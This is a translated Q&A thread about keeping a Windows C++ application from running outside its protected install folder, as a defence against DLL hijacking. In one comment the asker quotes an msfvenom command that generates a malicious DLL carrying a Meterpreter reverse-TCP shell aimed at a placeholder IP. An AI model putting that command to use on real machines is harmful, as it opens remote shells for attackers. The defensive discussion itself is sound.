如何使特定程序仅从安装路径运行以避免 DLL 劫持
Posted
技术标签:
【中文标题】如何使特定程序仅从安装路径运行以避免 DLL 劫持【英文标题】:How to make a specific program run from the installed path only to avoid DLL hijacking 【发布时间】:2018-09-18 08:45:45 【问题描述】:我有一个与一些 dll 文件链接的可执行文件。为了避免 DLL 劫持,我将该应用程序安装在受保护的路径(例如 C:\Program Files)中,只有管理员拥有“创建”或“写入”权限。
仍有一些攻击者可以将整个安装文件夹复制到其他目录,并能够编写具有相同名称的写入函数来执行恶意行为,例如删除文件或修改注册表设置。 .DLL 文件将以与正在运行的应用程序相同的权限运行。
我需要验证我的应用程序是否仅从安装的路径运行..我怎样才能使用 C++ ..
【问题讨论】:
看GetModuleFileName()
。 EXE 可以检索它正在运行的路径,然后根据需要对其进行验证
当用户自己可以做恶意的事情时,为什么还要麻烦呢?这似乎是一个无法解决的问题。
我遵循安全实践。我需要确保没有入侵者可以虚假注入任何 dll 并监控我的应用程序流量并将虚假数据发送到后端
@KethiriSundar 这对阻止将 DLL 注入您的进程、劫持您自己的 DLL、删除文件或修改注册表设置没有任何作用。等等,您是在缓解恶意用户还是恶意软件?回复:恶意用户,您永远不能相信客户端发送到服务器的内容。必须在服务器上强制执行安全性,期间。
@tenfour 实际上如果我将 DLL 放在受限目录中,恶意用户将无法劫持我的 dll。我在服务器端也有安全执法。我们可以使用 metasploit 的 msfvenom 创建一个恶意 .DLL: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT/8800] -f dll > [Path/"/root/Desktop/malicious.dll] 并创建监听器并监听流量。我有安全的消息传递算法并在服务器端进行验证。但他可以更改消息并在后端创建不希望的场景。
【参考方案1】:
查看GetModuleFileName
以检查模块的位置。
【讨论】:
以上是关于如何使特定程序仅从安装路径运行以避免 DLL 劫持的主要内容,如果未能解决你的问题,请参考以下文章